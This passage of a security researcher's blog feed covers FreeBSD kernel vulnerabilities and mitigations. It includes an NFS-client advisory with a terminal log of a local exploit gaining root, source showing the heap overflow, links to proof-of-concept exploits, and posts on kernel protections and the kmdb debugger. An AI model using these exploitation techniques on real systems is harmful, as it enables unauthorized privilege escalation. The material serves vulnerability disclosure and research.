follows:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\"><span class=\"o\">[<\/span>argp@julius ~]<span class=\"nv\">$ <\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-rsi<\/span>\nFreeBSD 7.3-RELEASE GENERIC\n<span class=\"o\">[<\/span>argp@julius ~]<span class=\"nv\">$ <\/span>sysctl vfs.usermount\nvfs.usermount: 1\n<span class=\"o\">[<\/span>argp@julius ~]<span class=\"nv\">$ <\/span><span class=\"nb\">id\n<\/span><span class=\"nv\">uid<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span> <span class=\"nv\">gid<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span> <span class=\"nb\">groups<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span>\n<span class=\"o\">[<\/span>argp@julius ~]<span class=\"nv\">$ <\/span>gcc <span class=\"nt\">-Wall<\/span> nfs_mount_ex.c <span class=\"nt\">-o<\/span> nfs_mount_ex\n<span class=\"o\">[<\/span>argp@julius ~]<span class=\"nv\">$ <\/span>.\/nfs_mount_ex\n<span class=\"o\">[<\/span><span class=\"k\">*<\/span><span class=\"o\">]<\/span> calling nmount<span class=\"o\">()<\/span>\n<span class=\"o\">[!]<\/span> nmount error: <span class=\"nt\">-1030740736<\/span>\nnmount: Unknown error: <span class=\"nt\">-1030740736<\/span>\n<span class=\"o\">[<\/span>argp@julius ~]<span class=\"nv\">$ <\/span><span class=\"nb\">id\n<\/span><span class=\"nv\">uid<\/span><span class=\"o\">=<\/span>0<span class=\"o\">(<\/span>root<span class=\"o\">)<\/span> <span class=\"nv\">gid<\/span><span class=\"o\">=<\/span>0<span class=\"o\">(<\/span>wheel<span class=\"o\">)<\/span> <span class=\"nv\">egid<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span> <span class=\"nb\">groups<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span><\/code><\/pre><\/figure>\n\n<p>The second vulnerability exists in the function <code class=\"language-plaintext highlighter-rouge\">mountnfs()<\/code> that is called\nfrom function <code class=\"language-plaintext highlighter-rouge\">nfs_mount()<\/code>:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">1119<\/span><span class=\"o\">:<\/span> <span class=\"n\">error<\/span> <span class=\"o\">=<\/span> <span class=\"n\">mountnfs<\/span><span class=\"p\">(<\/span><span class=\"o\">&amp;<\/span><span class=\"n\">args<\/span><span class=\"p\">,<\/span> <span class=\"n\">mp<\/span><span class=\"p\">,<\/span> <span class=\"n\">nam<\/span><span class=\"p\">,<\/span> <span class=\"n\">args<\/span><span class=\"p\">.<\/span><span class=\"n\">hostname<\/span><span class=\"p\">,<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">vp<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">1120<\/span><span class=\"o\">:<\/span>     <span class=\"n\">curthread<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">td_ucred<\/span><span class=\"p\">);<\/span><\/code><\/pre><\/figure>\n\n<p>The function <code class=\"language-plaintext highlighter-rouge\">mountnfs()<\/code> is reachable from the <code class=\"language-plaintext highlighter-rouge\">mount(2)<\/code> and <code class=\"language-plaintext highlighter-rouge\">nmount(2)<\/code>\nsystem calls by unprivileged users. As with the <code class=\"language-plaintext highlighter-rouge\">nfs_mount()<\/code> case above, this\nrequires the <code class=\"language-plaintext highlighter-rouge\">sysctl(8)<\/code> variable <code class=\"language-plaintext highlighter-rouge\">vfs.usermount<\/code> to be set to a non-zero value.<\/p>\n\n<p>The file handle to be mounted (<code class=\"language-plaintext highlighter-rouge\">argp-&gt;fh<\/code>) and its size (<code class=\"language-plaintext highlighter-rouge\">argp-&gt;fhsize<\/code>) are\npassed to function <code class=\"language-plaintext highlighter-rouge\">mountnfs()<\/code> from function <code class=\"language-plaintext highlighter-rouge\">nfs_mount()<\/code> and are\nuser-controllable. These are subsequently used in an unbounded <code class=\"language-plaintext highlighter-rouge\">bcopy()<\/code> call\n(file <code class=\"language-plaintext highlighter-rouge\">src\/sys\/nfsclient\/nfs_vfsops.c<\/code>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">1219<\/span><span class=\"o\">:<\/span> <span class=\"n\">bcopy<\/span><span class=\"p\">((<\/span><span class=\"n\">caddr_t<\/span><span class=\"p\">)<\/span><span class=\"n\">argp<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">fh<\/span><span class=\"p\">,<\/span> <span class=\"p\">(<\/span><span class=\"n\">caddr_t<\/span><span class=\"p\">)<\/span><span class=\"n\">nmp<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">nm_fh<\/span><span class=\"p\">,<\/span> <span class=\"n\">argp<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">fhsize<\/span><span class=\"p\">);<\/span><\/code><\/pre><\/figure>\n\n<p>The above can cause a kernel heap overflow when <code class=\"language-plaintext highlighter-rouge\">argp-&gt;fh<\/code> is bigger than 128\nbytes (the size of <code class=\"language-plaintext highlighter-rouge\">nmp-&gt;nm_fh<\/code>) since <code class=\"language-plaintext highlighter-rouge\">nmp<\/code> is an allocated item on the\nUniversal Memory Allocator (UMA, the FreeBSD kernel\u2019s heap allocator)\nzone <code class=\"language-plaintext highlighter-rouge\">nfsmount_zone<\/code> (again from <code class=\"language-plaintext highlighter-rouge\">src\/sys\/nfsclient\/nfs_vfsops.c<\/code>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">1160<\/span><span class=\"o\">:<\/span> <span class=\"k\">static<\/span> <span class=\"kt\">int<\/span>\n<span class=\"mi\">1161<\/span><span class=\"o\">:<\/span> <span class=\"n\">mountnfs<\/span><span class=\"p\">(<\/span><span class=\"k\">struct<\/span> <span class=\"n\">nfs_args<\/span> <span class=\"o\">*<\/span><span class=\"n\">argp<\/span><span class=\"p\">,<\/span> <span class=\"k\">struct<\/span> <span class=\"n\">mount<\/span> <span class=\"o\">*<\/span><span class=\"n\">mp<\/span><span class=\"p\">,<\/span> <span class=\"k\">struct<\/span> <span class=\"n\">sockaddr<\/span> <span class=\"o\">*<\/span><span class=\"n\">nam<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">1162<\/span><span class=\"o\">:<\/span>     <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">hst<\/span><span class=\"p\">,<\/span> <span class=\"k\">struct<\/span> <span class=\"n\">vnode<\/span> <span class=\"o\">**<\/span><span class=\"n\">vpp<\/span><span class=\"p\">,<\/span> <span class=\"k\">struct<\/span> <span class=\"n\">ucred<\/span> <span class=\"o\">*<\/span><span class=\"n\">cred<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1163<\/span><span class=\"o\">:<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1164<\/span><span class=\"o\">:<\/span>         <span class=\"k\">struct<\/span> <span class=\"n\">nfsmount<\/span> <span class=\"o\">*<\/span><span class=\"n\">nmp<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1165<\/span><span class=\"o\">:<\/span>         <span class=\"k\">struct<\/span> <span class=\"n\">nfsnode<\/span> <span class=\"o\">*<\/span><span class=\"n\">np<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1166<\/span><span class=\"o\">:<\/span>         <span class=\"kt\">int<\/span> <span class=\"n\">error<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1167<\/span><span class=\"o\">:<\/span>         <span class=\"k\">struct<\/span> <span class=\"n\">vattr<\/span> <span class=\"n\">attrs<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1168<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">1169<\/span><span class=\"o\">:<\/span>         <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">mp<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">mnt_flag<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">MNT_UPDATE<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1170<\/span><span class=\"o\">:<\/span>                 <span class=\"n\">nmp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">VFSTONFS<\/span><span class=\"p\">(<\/span><span class=\"n\">mp<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1171<\/span><span class=\"o\">:<\/span>                 <span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">\"%s: MNT_UPDATE is no longer handled here<\/span><span class=\"se\">\\n<\/span><span class=\"s\">\"<\/span><span class=\"p\">,<\/span> <span class=\"n\">__func__<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1172<\/span><span class=\"o\">:<\/span>                 <span class=\"n\">free<\/span><span class=\"p\">(<\/span><span class=\"n\">nam<\/span><span class=\"p\">,<\/span> <span class=\"n\">M_SONAME<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1173<\/span><span class=\"o\">:<\/span>                 <span class=\"k\">return<\/span> <span class=\"p\">(<\/span><span class=\"mi\">0<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1174<\/span><span class=\"o\">:<\/span>         <span class=\"p\">}<\/span> <span class=\"k\">else<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1175<\/span><span class=\"o\">:<\/span>                 <span class=\"n\">nmp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">uma_zalloc<\/span><span class=\"p\">(<\/span><span class=\"n\">nfsmount_zone<\/span><span class=\"p\">,<\/span> <span class=\"n\">M_WAITOK<\/span><span class=\"p\">);<\/span><\/code><\/pre><\/figure>\n\n<p>This kernel heap overflow can lead on FreeBSD 8.0-RELEASE, 7.3-RELEASE and\n7.2-RELEASE to privilege escalation and\/or a kernel crash\/denial of service\nattack. Similarly to the first vulnerability, FreeBSD 7.1-RELEASE and earlier\nversions do not appear to be vulnerable. We have developed a <a href=\"http:\/\/census-labs.com\/media\/mountnfsex.c\">proof-of-concept\nDoS exploit<\/a> to demonstrate the\nvulnerability. Furthermore, we have also developed a privilege escalation\nexploit for this second vulnerability which will not be released at this point.<\/p>\n\n<p>FreeBSD has released an <a href=\"http:\/\/security.freebsd.org\/advisories\/FreeBSD-SA-10:06.nfsclient.asc\">official\nadvisory<\/a>\nand a <a href=\"http:\/\/security.freebsd.org\/patches\/SA-10:06\/nfsclient.patch\">patch<\/a> to\naddress both vulnerabilities. All affected parties are advised to follow the\nupgrade instructions included in the advisory and patch their systems.<\/p>\n"},{"title":"FreeBSD kernel exploitation mitigations","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2010\/04\/26\/kernel-exploitation-mitigations\/"}},"updated":"2010-04-26T00:00:00+00:00","id":"https:\/\/argp.github.io\/2010\/04\/26\/kernel-exploitation-mitigations","content":"<p>In my recent <a href=\"http:\/\/www.blackhat.com\/html\/bh-eu-10\/bh-eu-10-archives.html#Argyroudis\">Black Hat Europe 2010\ntalk<\/a>\nI gave an overview of the kernel exploitation prevention mechanisms that exist\non FreeBSD. A few people at the conference have subsequently asked me to\nelaborate on the subject. In this post I will collect all the information from\nmy talk and the various discussions I had in the Black Hat conference hallways.<\/p>\n\n<p>Userland memory corruption protections (also known as exploitation mitigations) \nhave made most of the generic exploitation approaches obsolete. This is true \nboth on Windows and Unix-like operating systems. In order to successfully \nachieve arbitrary code execution from a vulnerable application nowadays a \nresearcher needs to look to the memory layout and the code structure of the \nparticular application.<\/p>\n\n<p>On the other hand, exploitation mitigation mechanisms for kernel code have not \nseen the same level of adoption mostly due to the performance penalty they \nintroduce. This has increased the interest in viewing the operating system \nkernel as part of the attack surface targeted in a penetration test. Therefore, \nmany operating systems have started to introduce kernel exploitation \nmitigations. The <a href=\"https:\/\/www.cr0.org\/paper\/to-jt-party-at-ring0.pdf\">recent CanSecWest\ntalk<\/a> by Tavis Ormandy and\nJulien Tinnes titled \u201cThere\u2019s a party at Ring0, and you\u2019re invited\u201d presented an\noverview of such mitigations on Windows and Linux.<\/p>\n\n<p>FreeBSD also has a number of memory corruption protections for kernel code. Not \nall of these were developed with the goal of undermining attacks, but primarily \nas debugging mechanisms. Some are enabled by default in the latest stable \nversion (8.0-RELEASE) and some are not.<\/p>\n\n<h3 id=\"stack-smashing\">Stack-smashing<\/h3>\n\n<p>Kernel stack-smashing protection for FreeBSD was introduced in version 8.0 via \n<a href=\"http:\/\/www.research.ibm.com\/trl\/projects\/security\/ssp\/\">ProPolice\/SSP<\/a>.\nSpecifically, the file <code class=\"language-plaintext highlighter-rouge\">src\/sys\/kern\/stack_protector.c<\/code> is compiled with GCC\u2019s\n<code class=\"language-plaintext highlighter-rouge\">-fstack-protector<\/code> option and registers an event handler called <code class=\"language-plaintext highlighter-rouge\">__stack_chk_init<\/code>\nthat generates a random canary value (the \u201cguard\u201d variable in SSP terminology)\nplaced between the local variables and the saved frame pointer of a kernel process\u2019s\nstack during a function\u2019s prologue. Below is the relevant part of the\n<code class=\"language-plaintext highlighter-rouge\">stack_protector.c<\/code> file:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">10<\/span><span class=\"o\">:<\/span> <span class=\"n\">__stack_chk_guard<\/span><span class=\"p\">[<\/span><span class=\"mi\">8<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{};<\/span>\n    <span class=\"p\">...<\/span>\n<span class=\"mi\">20<\/span><span class=\"o\">:<\/span> <span class=\"err\">#<\/span><span class=\"n\">define<\/span> <span class=\"n\">__arraycount<\/span><span class=\"p\">(<\/span><span class=\"n\">__x<\/span><span class=\"p\">)<\/span>       <span class=\"p\">(<\/span><span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">__x<\/span><span class=\"p\">)<\/span> <span class=\"o\">\/<\/span> <span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">__x<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">]))<\/span>\n<span class=\"mi\">21<\/span><span class=\"o\">:<\/span> <span class=\"k\">static<\/span> <span class=\"kt\">void<\/span>\n<span class=\"mi\">22<\/span><span class=\"o\">:<\/span> <span class=\"n\">__stack_chk_init<\/span><span class=\"p\">(<\/span><span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"n\">dummy<\/span> <span class=\"n\">__unused<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">23<\/span><span class=\"o\">:<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">24<\/span><span class=\"o\">:<\/span>         <span class=\"kt\">size_t<\/span> <span class=\"n\">i<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">25<\/span><span class=\"o\">:<\/span>         <span class=\"kt\">long<\/span> <span class=\"n\">guard<\/span><span class=\"p\">[<\/span><span class=\"n\">__arraycount<\/span><span class=\"p\">(<\/span><span class=\"n\">__stack_chk_guard<\/span><span class=\"p\">)];<\/span>\n<span class=\"mi\">26<\/span><span class=\"o\">:<\/span> \n<span class=\"mi\">27<\/span><span class=\"o\">:<\/span>         <span class=\"n\">arc4rand<\/span><span class=\"p\">(<\/span><span class=\"n\">guard<\/span><span class=\"p\">,<\/span> <span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">guard<\/span><span class=\"p\">),<\/span> <span class=\"p\">);<\/span>\n<span class=\"mi\">28<\/span><span class=\"o\">:<\/span>         <span class=\"k\">for<\/span> <span class=\"p\">(<\/span><span class=\"n\">i<\/span> <span class=\"o\">=<\/span> <span class=\"p\">;<\/span> <span class=\"n\">i<\/span> <span class=\"o\">&lt;<\/span> <span class=\"n\">__arraycount<\/span><span class=\"p\">(<\/span><span class=\"n\">guard<\/span><span class=\"p\">);<\/span> <span class=\"n\">i<\/span><span class=\"o\">++<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">29<\/span><span class=\"o\">:<\/span>                 <span class=\"n\">__stack_chk_guard<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"n\">guard<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">];<\/span>\n<span class=\"mi\">30<\/span><span class=\"o\">:<\/span> <span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>During the protected function\u2019s epilogue the canary is checked against\nits original value. If it has been altered the kernel calls\n<a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=panic&amp;apropos=0&amp;sektion=9&amp;manpath=FreeBSD+8.0-RELEASE&amp;format=html\"><code class=\"language-plaintext highlighter-rouge\">panic(9)<\/code><\/a>\nbringing down the whole system, but also stopping any execution flow\nredirection caused by manipulation of the function\u2019s saved frame pointer or \nsaved return address (again from the <code class=\"language-plaintext highlighter-rouge\">stack_protector.c<\/code> file):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">13<\/span><span class=\"o\">:<\/span> <span class=\"kt\">void<\/span>\n<span class=\"mi\">14<\/span><span class=\"o\">:<\/span> <span class=\"n\">__stack_chk_fail<\/span><span class=\"p\">(<\/span><span class=\"kt\">void<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">15<\/span><span class=\"o\">:<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">16<\/span><span class=\"o\">:<\/span> \n<span class=\"mi\">17<\/span><span class=\"o\">:<\/span>         <span class=\"n\">panic<\/span><span class=\"p\">(<\/span><span class=\"s\">\"stack overflow detected; backtrace may be corrupted\"<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">18<\/span><span class=\"o\">:<\/span> <span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>ProPolice\/SSP also performs local variable and pointer reordering in order to \nprotect against the corruption of variables and pointers due to stack buffer \noverflow vulnerabilities.<\/p>\n\n<h3 id=\"null-page-mappings\">NULL page mappings<\/h3>\n\n<p>Also in version 8.0, FreeBSD has <a href=\"http:\/\/security.freebsd.org\/advisories\/FreeBSD-EN-09:05.null.asc\">introduced a\nprotection<\/a>\nagainst user mappings at address 0 (NULL). This exploitation mitigation mechanism\nis exposed through the\n<a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=8&amp;manpath=FreeBSD+8.0-RELEASE&amp;format=html\"><code class=\"language-plaintext highlighter-rouge\">sysctl(8)<\/code><\/a>\nvariable <code class=\"language-plaintext highlighter-rouge\">security.bsd.map_at_zero<\/code> and is enabled by default (i.e. the variable\nhas the value 0). When a user request is made for the NULL page and the feature is\nenabled an error occurs and the mapping fails. Obviously this protection is\nineffective in vulnerabilities which the attacker can (directly or indirectly)\ncontrol the kernel dereference offset. For an applicable example see the exploit\nfor vulnerability CVE-2008-3531 I have previously\n<a href=\"https:\/\/argp.github.io\/2009\/07\/04\/cve-2008-3531-exploit\/\">published<\/a>.<\/p>\n\n<h3 id=\"heap-smashing\">Heap-smashing<\/h3>\n\n<p>FreeBSD has introduced kernel heap-smashing detection in 8.0-RELEASE via an \nimplementation called <a href=\"http:\/\/fxr.watson.org\/fxr\/source\/vm\/redzone.c\">RedZone<\/a>.\nRedZone is oriented more towards debugging the kernel memory allocator rather than\ndetecting and stopping deliberate attacks against it. If enabled (it is disabled by\ndefault) RedZone places a static canary value of 16 bytes above and below each\nbuffer allocated on the heap. The canary value consists of the hexadecimal value\n0x42 repeated in these 16 bytes.<\/p>\n\n<p>During a heap buffer\u2019s deallocation the canary value is checked and if it has been\ncorrupted the details of the corruption (address of the offending buffer and stack\ntraces of the buffer\u2019s allocation and deallocation) are logged. The code that\nperforms the check for a heap overflow is the following (from file\n<code class=\"language-plaintext highlighter-rouge\">src\/sys\/vm\/redzone.c<\/code>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">166<\/span><span class=\"o\">:<\/span> <span class=\"n\">ncorruptions<\/span> <span class=\"o\">=<\/span> <span class=\"p\">;<\/span>\n<span class=\"mi\">167<\/span><span class=\"o\">:<\/span> <span class=\"k\">for<\/span> <span class=\"p\">(<\/span><span class=\"n\">i<\/span> <span class=\"o\">=<\/span> <span class=\"p\">;<\/span> <span class=\"n\">i<\/span> <span class=\"o\">&lt;<\/span> <span class=\"n\">REDZONE_CFSIZE<\/span><span class=\"p\">;<\/span> <span class=\"n\">i<\/span><span class=\"o\">++<\/span><span class=\"p\">,<\/span> <span class=\"n\">faddr<\/span><span class=\"o\">++<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">168<\/span><span class=\"o\">:<\/span>       <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"p\">(<\/span><span class=\"n\">u_char<\/span> <span class=\"o\">*<\/span><span class=\"p\">)<\/span><span class=\"n\">faddr<\/span> <span class=\"o\">!=<\/span> <span class=\"mh\">0x42<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">169<\/span><span class=\"o\">:<\/span>               <span class=\"n\">ncorruptions<\/span><span class=\"o\">++<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">170<\/span><span class=\"o\">:<\/span> <span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>This protection mechanism can obviously be easily bypassed.<\/p>\n\n<h3 id=\"use-after-free\">Use-after-free<\/h3>\n\n<p><a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=memguard&amp;apropos=0&amp;sektion=9&amp;manpath=FreeBSD+8.0-RELEASE&amp;format=html\">MemGuard<\/a>\nis a replacement kernel memory allocator introduced in FreeBSD version 6.0 and is\ndesigned to detect use-after-free bugs in kernel code. Similarly to RedZone,\nMemGuard mainly targets debugging scenarios and does not constitute a mechanism to\nmitigate deliberate attacks. However, MemGuard is not compatible and cannot replace\nthe Universal Memory Allocator\u2019s (UMA - which is the default kernel allocator in\nFreeBSD) calls. Therefore (and also due to the overhead it introduced even before\nUMA was developed), it is not enabled by default.<\/p>\n"},{"title":"Black Hat Europe 2010","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2010\/04\/22\/blackhat-eu-2010\/"}},"updated":"2010-04-22T00:00:00+00:00","id":"https:\/\/argp.github.io\/2010\/04\/22\/blackhat-eu-2010","content":"<p><a href=\"http:\/\/blackhat.com\/html\/bh-eu-10\/bh-eu-10-home.html\">Black Hat Europe 2010<\/a>\nis now over and after a brief <a href=\"https:\/\/en.wikipedia.org\/wiki\/2010_eruptions_of_Eyjafjallaj%C3%B6kull\">ash\ncloud<\/a>\ncaused delay I am back in Greece. It has been a great conference, flawlessly\norganized and with many outstanding presentations. I would like to thank everyone\nthat attended my\n<a href=\"http:\/\/www.blackhat.com\/html\/bh-eu-10\/bh-eu-10-archives.html#Argyroudis\">presentation<\/a>\nbut also all the kind people that spoke to me before and afterwards. I hope to\nmeet all of you again at a future event.<\/p>\n\n<p align=\"center\">\n<img src=\"\/public\/bheu10_banner.png\" width=\"490\" height=\"155\" \/>\n<\/p>\n\n<p>My presentation, titled \u201cBinding the Daemon: FreeBSD Kernel Stack and \nHeap Exploitation\u201d, was divided into four parts. In the first part I gave \nan overview of the published work on the subject of kernel exploitation for \nUnix-like operating systems. The second and third parts were the main body of \nthe presentation. Specifically, in the second part I explained how a kernel \nstack overflow vulnerability on FreeBSD can be leveraged to achieve arbitrary \ncode execution. The third part focused on a detailed security analysis of the \nUniversal Memory Allocator (UMA), the FreeBSD kernel\u2019s memory allocator. \nI explored how UMA overflows can lead to arbitrary code execution in the \ncontext of the latest stable FreeBSD kernel (8.0-RELEASE), and I developed an \nexploitation methodology for privilege escalation and kernel continuation.<\/p>\n\n<p>In the fourth and final part I gave a demo of a FreeBSD kernel local 0day \nvulnerability that I have discovered. However, I have not released the details \nof the vulnerability in my Black Hat presentation. The details of this \nvulnerability (plus the proof-of-concept exploit) will be released shortly, \nonce the relevant code is patched and the official advisory is out.<\/p>\n\n<p>Below you may find all the material of my presentation, updated with some extra \ninformation and minor corrections:<\/p>\n\n<ul>\n  <li><a href=\"https:\/\/media.blackhat.com\/bh-eu-10\/presentations\/Argyroudis\/BlackHat-EU-2010-Argyroudis-FreeBSD-slides.pdf\">Slides<\/a><\/li>\n  <li><a href=\"\/public\/binding-the-daemon-wp.pdf\">White paper<\/a><\/li>\n  <li><a href=\"https:\/\/github.com\/argp\/binding-the-daemon\">Source code<\/a><\/li>\n<\/ul>\n"},{"title":"Quick kmdb cheatsheet","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2010\/02\/20\/kmdb-cheatsheet\/"}},"updated":"2010-02-20T00:00:00+00:00","id":"https:\/\/argp.github.io\/2010\/02\/20\/kmdb-cheatsheet","content":"<p>This is mainly a reference for myself since I have been playing with OpenSolaris\nkernel internals lately:<\/p>\n\n<ul>\n  <li>To enable kmdb edit the kernel\u2019s grub entry and append <code class=\"language-plaintext highlighter-rouge\">-k<\/code> to it.<\/li>\n  <li>Break into kmdb: <code class=\"language-plaintext highlighter-rouge\">f1+a<\/code><\/li>\n  <li>Display status: <code class=\"language-plaintext highlighter-rouge\">::status<\/code><\/li>\n  <li>List available kmdb commands (and be amazed): <code class=\"language-plaintext highlighter-rouge\">::dcmds<\/code><\/li>\n  <li>View registers for CPU 0: <code class=\"language-plaintext highlighter-rouge\">::cpuregs -c 0<\/code> and\/or <code class=\"language-plaintext highlighter-rouge\">::regs<\/code><\/li>\n  <li>Set a breakpoint at the given symbol or address: <code class=\"language-plaintext highlighter-rouge\">::bp [symbol or address]<\/code><\/li>\n  <li>Set a read\/write watchpoint at the given symbol or address:\n<code class=\"language-plaintext highlighter-rouge\">[symbol or address] ::wp -rw<\/code><\/li>\n  <li>Display breakpoints and watchpoints: <code class=\"language-plaintext highlighter-rouge\">::events<\/code><\/li>\n  <li>Delete breakpoint (or watchpoint) #1: <code class=\"language-plaintext highlighter-rouge\">::delete 1<\/code><\/li>\n  <li>Continue execution: <code class=\"language-plaintext highlighter-rouge\">:c<\/code><\/li>\n  <li>Next instruction, step into function calls: <code class=\"language-plaintext highlighter-rouge\">::step<\/code><\/li>\n  <li>Next instruction, step over function calls: <code class=\"language-plaintext highlighter-rouge\">::step over<\/code><\/li>\n  <li>Return from current function: <code class=\"language-plaintext highlighter-rouge\">::step out<\/code><\/li>\n  <li>Continue execution until the next branching instruction (only x86):\n<code class=\"language-plaintext highlighter-rouge\">::step branch<\/code><\/li>\n  <li>Disassemble around RIP: <code class=\"language-plaintext highlighter-rouge\">&lt;rip::dis<\/code><\/li>\n  <li>Disassemble 100 instructions starting at the given symbol or address:\n<code class=\"language-plaintext highlighter-rouge\">::dis -n 100 [symbol or address]<\/code><\/li>\n  <li>View backtrace: <code class=\"language-plaintext highlighter-rouge\">$C<\/code><\/li>\n  <li>View IDT: <code class=\"language-plaintext highlighter-rouge\">::idt<\/code><\/li>\n  <li>View symbols: <code class=\"language-plaintext highlighter-rouge\">::nm<\/code><\/li>\n  <li>View the kernel message buffer: <code class=\"language-plaintext highlighter-rouge\">::msgbuf<\/code><\/li>\n  <li>Quit kmdb and reboot: <code class=\"language-plaintext highlighter-rouge\">::quit<\/code> &lt;\/ul&gt;<\/li>\n<\/ul>\n\n<p>This brief cheatsheet does not do kmdb justice; it is an amazing built-in kernel\ndebugger with countless features. For more details <a href=\"https:\/\/docs.oracle.com\/cd\/E36784_01\/html\/E36870\/kmdb-1.html\">read the\nmanpage<\/a>.<\/p>\n"},{"title":"Exploit for CVE-2010-0453","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2010\/02\/07\/cve-2010-0453-exploit\/"}},"updated":"2010-02-07T00:00:00+00:00","id":"https:\/\/argp.github.io\/2010\/02\/07\/cve-2010-0453-exploit","content":"<p>While playing today with kmdb on OpenSolaris I wrote a denial of service (kernel\npanic) PoC exploit for the <code class=\"language-plaintext highlighter-rouge\">UCODE_GET_VERSION<\/code> ioctl NULL pointer dereference\nvulnerability. The vulnerability was discovered by Tobias Klein who always\npublishes very detailed advisories:<\/p>\n\n<p><a href=\"http:\/\/www.trapkit.de\/advisories\/TKADV2010-001.txt\">http:\/\/www.trapkit.de\/advisories\/TKADV2010-001.txt<\/a><\/p>\n\n<p>You can get my exploit from:<\/p>\n\n<p><a href=\"http:\/\/census-labs.com\/media\/cve-2010-0453.c\">http:\/\/census-labs.com\/media\/cve-2010-0453.c<\/a><\/p>\n"},{"title":"First 2010 0day","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2010\/01\/06\/first-2010-0day\/"}},"updated":"2010-01-06T00:00:00+00:00","id":"https:\/\/argp.github.io\/2010\/01\/06\/first-2010-0day","content":"<blockquote>\n  <p>md5: e8d5dd9d6cdf8602f12c8baef53f6550<br \/>\nsha1: 1322d45eed25260a0d5f85284011e1b205328807<br \/>\nsha256: eb4f95ec1b62d57e022c6945bdcb3f747f94f3ad7ddedc4bfde7dee23d4362ef<\/p>\n<\/blockquote>\n"},{"title":"Xmas 2009 0day","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/12\/24\/xmas-2009-0day\/"}},"updated":"2009-12-24T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/12\/24\/xmas-2009-0day","content":"<blockquote>\n  <p>md5: a145ed9d7e1c33124daab40447cc5b56<br \/>\nsha1: c888985f209c26243206f8864783500b0c9353bb<br \/>\nsha256: 